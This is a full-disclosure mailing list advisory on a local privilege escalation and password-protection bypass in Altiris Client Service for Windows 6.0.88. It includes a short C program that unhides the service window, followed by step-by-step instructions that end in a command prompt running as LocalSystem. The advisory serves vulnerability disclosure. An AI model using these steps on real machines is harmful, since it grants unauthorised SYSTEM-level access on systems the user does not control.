Privilege escalation and password protection bypass in Altiris Client Service for Windows (Version 6.0.88)

[Reed Arvin <reedarvin () gmail com>]

Summary:
Privilege escalation and password protection bypass in Altiris Client
Service for Windows (Version 6.0.88)
(http://www.altiris.com/)

Details:
It is possible to manipulate the administrative interface of the
Altiris Client Service for Windows and escalate privileges to that of
the LocalSystem account.

When a password is set to protect the property pages of the Altiris
Client Service for Windows it is possible to bypass this and disable
the password protection feature.

Vulnerable Versions:
Altiris Client Service for Windows (Version 6.0.88)

Patches/Workarounds:
The vendor was notified of the issue. There was no response.

Exploit:
Compile and run the following code to unhide the Altiris Client Service window:

===Start Code===
#include <stdio.h>
#include <windows.h>

int main( void )
{
        HWND hWnd;
        char szWindowName[] = "Altiris Client Service";

        printf( "Finding window %s\n", szWindowName );

        hWnd = FindWindow( NULL, szWindowName );

        if ( hWnd == NULL )
        {
                printf( "ERROR! Could not find window %s\n", szWindowName );
        
                exit( 1 );
        }

        ShowWindow( hWnd, SW_SHOW );

        return 0;
}
===End Code===

1. The Altiris Client Service window will appear. Click Properties.
2. Click the Security tab and uncheck the Password protect Admin
properties box and uncheck the Hide client tray icon box. At this
point you have affectively bypassed the AClient password protection.
3. Click OK.
4. Click Close.
5. The AClient tray icon will appear in the lower right of the screen.
 Right click and choose View Log File.
6. Notepad will appear (running under the context of the LocalSystem
account). Click File, click Open.
7. Change Files of type: to All Files, navigate to the system32
directory and locate cmd.exe.  Right click cmd.exe and choose Open.

The result is a command prompt running under the context of the
LocalSystem account.

Discovered by Reed Arvin reedarvin[at]gmail[dot]com
(http://reedarvin.thearvins.com)
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/